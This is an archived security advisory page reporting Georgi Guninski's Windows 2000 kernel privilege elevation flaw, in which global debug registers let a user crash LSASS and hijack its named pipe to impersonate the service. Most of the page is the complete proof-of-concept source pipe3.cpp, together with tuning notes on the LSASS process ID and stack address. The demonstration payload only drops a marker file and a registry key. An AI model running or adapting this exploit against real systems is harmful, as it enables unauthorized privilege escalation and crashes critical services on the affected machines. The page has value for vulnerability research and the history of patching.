TUCoPS :: Windows :: krnl20~1.htm

Win2K kernel privilege elevation
Vulnerability

    kernel

Affected

    Win2K

Description

    Following is  based on  a Georgi  Guninski security  advisory #45.
    If someone can execute programs  on a target Win2K system  then he
    may elevate  his privileges  at least  to extent  which gives  him
    write access to C:\WINNT\SYSTEM32 and HKCR.

    The problem is  the x86 debug  registers DR0-7 are  global for all
    processes.   So  setting  a  hardware  breakpoint  in  one process
    affects other processes and services.  If the hardware  breakpoint
    is  hit  in  a  service  then  an  unhandled single step exception
    occurs and the process/service  is terminated.  After  the service
    is terminated  it is  possible to  hijack its  trusted named pipes
    and when another service writes  to the named pipe it  is possible
    to impersonate the service.  In my exploit pipe3.cpp LSASS.EXE  is
    killed   with   the   help   of   hardware   breakpoint  and  then
    \\.\pipe\lsass  is  hijacked.   Simple  test  for debug registers.
    Start debugging CALC.EXE with windbg.  Set hardware breakpoint  on
    memory write to the current  value of ESP.  Start  taskmgr.exe and
    wait some  time.   If you  start receiving  Single Step  exception
    with dialog boxes  and/or BSOD in  processess other than  CALC.EXE
    then there is vulnerability.

    Notes on using pipe3.cpp: pipe3.cpp  is kind of ugly but  works on
    all  the  boxes  I  have  tested.   It  has  2 arguments - <pid of
    LSASS.EXE> and <ESP in LSASS.EXE>.   Build and start pipe3.   Wait
    some time. The  expected result is  to get exception  in LSASS.EXE
    and then it must be  terminated.  Then after sometime  the console
    is locked  and the  mashine is  rebooted.   A file  is created  in
    c:\winnt\system32  and  a  key  in  HKCR.   If  LSASS.EXE  is  not
    terminated stop  and restart  pipe3.   If nothing  happens you may
    need to play  with the parameter  MAGICESPINLSA - this  is the ESP
    in a  thread in  LSASS.EXE.   If you  get BSOD  then you need more
    playing with the parameter and or Sleep().

    Demonstration:

        http://www.guninski.com/pipe3.cpp

    pipe3.cpp:

    // Win2K elevation of privileges
    // Written by Georgi Guninski http://www.guninski.com
    // Kind of ugly but works
    // Check the disclaimer and advisory at http://www.guninski.com/dr07.html
    
    #define _WIN32_WINNT  0x0500
    
    #include <stdio.h>
    #include <windows.h>
    #include <stdlib.h>
    
    // may need to change below
    ///////////////////////////////
    DWORD lsasspid=224; // pid of LSASS.EXE
    //DWORD lsasspid=236; // pid of LSASS.EXE
    DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it
    //////////////////////////////
    
    char szPipe[64]="\\\\.\\pipe\\lsass";
    HANDLE hProc = NULL;
    PROCESS_INFORMATION pi;
    
    
    volatile int lsadied = 0;
    
    
    
    unsigned long __stdcall threadlock(void *v)
    {
	    Sleep(1000);
	    LockWorkStation();
	    return 0;
    }
    
    unsigned long __stdcall threadwriter(void *v)
    {
	    while(!lsadied)
	    {
        FILE *f1;
	    f1=fopen("\\\\.\\pipe\\lsass","a");
	     if (f1 != NULL)
		    {
		     fprintf(f1,"A");
		     fclose(f1);
		    }
    /*
	     else
		     printf("%s\n","error writing to pipe");
    */
	    Sleep(400);
	    }
	    printf("%s\n","Stop writing to pipe");
	    return 0;
    }
    
    unsigned long __stdcall waitlsadie(void *v)
    {
    
    int lsadied2=0;
    long ( __stdcall *NtQuerySystemInformation )( ULONG, PVOID, ULONG, ULONG ) = NULL;
    if ( !NtQuerySystemInformation )
          NtQuerySystemInformation = ( long ( __stdcall * )( ULONG, PVOID, ULONG,
    ULONG ) ) GetProcAddress( GetModuleHandle( "ntdll.dll" ),"NtQuerySystemInformation" );
    typedef struct _tagThreadInfo
    {
            FILETIME ftCreationTime;
            DWORD dwUnknown1;
            DWORD dwStartAddress;
            DWORD dwOwningPID;
            DWORD dwThreadID;
            DWORD dwCurrentPriority;
            DWORD dwBasePriority;
            DWORD dwContextSwitches;
            DWORD dwThreadState;
              DWORD dwWaitReason;
            DWORD dwUnknown2[ 5 ];
    } THREADINFO, *PTHREADINFO;
    #pragma warning( disable:4200 )
    typedef struct _tagProcessInfo
    {
            DWORD dwOffset;
            DWORD dwThreadCount;
            DWORD dwUnknown1[ 6 ];
            FILETIME ftCreationTime;
            DWORD dwUnknown2[ 5 ];
            WCHAR* pszProcessName;
            DWORD dwBasePriority;
            DWORD dwProcessID;
            DWORD dwParentProcessID;
            DWORD dwHandleCount;
            DWORD dwUnknown3;
            DWORD dwUnknown4;
            DWORD dwVirtualBytesPeak;
            DWORD dwVirtualBytes;
            DWORD dwPageFaults;
            DWORD dwWorkingSetPeak;
            DWORD dwWorkingSet;
            DWORD dwUnknown5;
            DWORD dwPagedPool;
            DWORD dwUnknown6;
            DWORD dwNonPagedPool;
            DWORD dwPageFileBytesPeak;
            DWORD dwPrivateBytes;
            DWORD dwPageFileBytes;
            DWORD dwUnknown7[ 4 ];
            THREADINFO ti[ 0 ];
    } _PROCESSINFO, *PPROCESSINFO;
    #pragma warning( default:4200 )
    
    
    
     PBYTE pbyInfo = NULL;
     DWORD cInfoSize = 0x20000;
    while(!lsadied2)
    {
     pbyInfo = ( PBYTE ) malloc( cInfoSize );
     NtQuerySystemInformation( 5, pbyInfo, cInfoSize, 0 ) ;
     PPROCESSINFO pProcessInfo = ( PPROCESSINFO ) pbyInfo;
     bool bLast = false;
     lsadied2 = 1;
     do {
	     if ( pProcessInfo->dwOffset == 0 )
             bLast = true;
         if (pProcessInfo->dwProcessID == lsasspid)
		     lsadied2 = 0 ;
         pProcessInfo = ( PPROCESSINFO ) ( ( PBYTE ) pProcessInfo + pProcessInfo->dwOffset );
        } while( bLast == false );
     free( pbyInfo );
    }
    printf("LSA died!\n");
    lsadied=1;
    return 0;
    }
    
    
    
    void add_thread(HANDLE thread)
    {
		      CONTEXT ctx = {CONTEXT_DEBUG_REGISTERS};
    
    //DR7=d0000540 DR6=ffff0ff0 DR3=53ffa0 DR2=0 DR1=0 DR0=0
    
        SuspendThread(thread);
        GetThreadContext(thread,&ctx);
	    ctx.Dr7=0xd0000540;
	    ctx.Dr6=0xffff0ff0;
	    ctx.Dr3=MAGICESPINLSA;
	    ctx.Dr2=0;
	    ctx.Dr1=0;
	    ctx.Dr0=0;
        SetThreadContext(thread, &ctx);
        ResumeThread(thread);
    //    printf("DR7=%x DR6=%x DR3=%x DR2=%x DR1=%x DR0=%x\n",ctx.Dr7,ctx.Dr6,ctx.Dr3,ctx.Dr2,ctx.Dr1,ctx.Dr0);
    
    }
    
    
    unsigned long __stdcall threaddeb(void *v)
    {
        STARTUPINFO si = {
            sizeof(STARTUPINFO)
        };
    
    
        CreateProcess(0,"c:\\winnt\\system32\\taskmgr.exe",0,0,0,
		    CREATE_NEW_CONSOLE,0,0,&si,&pi);
	    Sleep(2000);
        BOOL status = CreateProcess(
            0,
            "c:\\winnt\\system32\\calc.exe",
            0,0,0,
		    DEBUG_PROCESS
            | DEBUG_ONLY_THIS_PROCESS
            | CREATE_NEW_CONSOLE,
            0,0,&si,&pi);
    
        if( !status )
        {
		    printf("%s\n","error debugging");
		    exit(1);
        }
    
        add_thread(pi.hThread);
    
        for( ;; )
        {
            DEBUG_EVENT de;
            if( !WaitForDebugEvent(&de, INFINITE) )
            {
		     printf("%s\n","error WaitForDebugEvent");
            }
    
            switch( de.dwDebugEventCode )
            {
            case CREATE_THREAD_DEBUG_EVENT:
                add_thread(de.u.CreateThread.hThread);
                break;
            }
        ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE);
	    }
    
	    return 0;
    }
    
        int main(int argc,char* argv[])
        {
          DWORD dwType = REG_DWORD;
          DWORD dwSize = sizeof(DWORD);
	      DWORD dwNumber = 0;
          char szUser[256];
          HANDLE hPipe = 0;
    
		    if (argc > 1)
			    lsasspid=atoi(argv[1]);
		    if (argc > 2)
			    sscanf(argv[2],"%x",&MAGICESPINLSA);
    
	      printf("Fun with debug registers. Written by Georgi Guninski\n");
	      printf("vvdr started: lsasspid=%d breakp=%x\n",lsasspid,MAGICESPINLSA);
   	      CreateThread(0, 0, &threadwriter, NULL, 0, 0);
	      CreateThread(0, 0, &waitlsadie, NULL, 0, 0);
	      CreateThread(0, 0, &threaddeb, NULL, 0, 0);
    
  	      while(!lsadied);
    
          printf("start %s\n",szPipe);
          hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                                   PIPE_TYPE_MESSAGE|PIPE_WAIT,
                                   2, 0, 0, 0, NULL);
          if (hPipe == INVALID_HANDLE_VALUE)
          {
            printf ("Failed to create named pipe:\n  %s\n", szPipe);
            return 3;
          }
	      CreateThread(0, 0, &threadlock, NULL, 0, 0);
	      ConnectNamedPipe (hPipe, NULL);
          if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL))
          {
            printf ("Failed to read the named pipe.\n");
            CloseHandle(hPipe);
            return 4;
          }
    
         if (!ImpersonateNamedPipeClient (hPipe))
          {
            printf ("Failed to impersonate the named pipe.\n");
            CloseHandle(hPipe);
            return 5;
          }
          dwSize  = 256;
          GetUserName(szUser, &dwSize);
          printf ("Impersonating dummy :) : %s\n\n\n\n", szUser);
    // the action begins
	      FILE *f1;
	      f1=fopen("c:\\winnt\\system32\\vv1.vv","a");
		    if (f1 != NULL)
		    {
		     fprintf(f1,"lsass worked\n");
		     fclose(f1);
		     printf("\n%s\n","Done!");
		    }
		    else
		     printf("error creating file");
	    fflush(stdout);
	    HKEY mykey;
	    RegCreateKey(HKEY_CLASSES_ROOT,"vv",&mykey);
	    RegCloseKey(mykey);
    
    
        CloseHandle(hPipe);
        return 0;
        }

Solution

    According  to  Microsoft  SP2  fixes  this  though  Georgi has not
    verified it personally.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH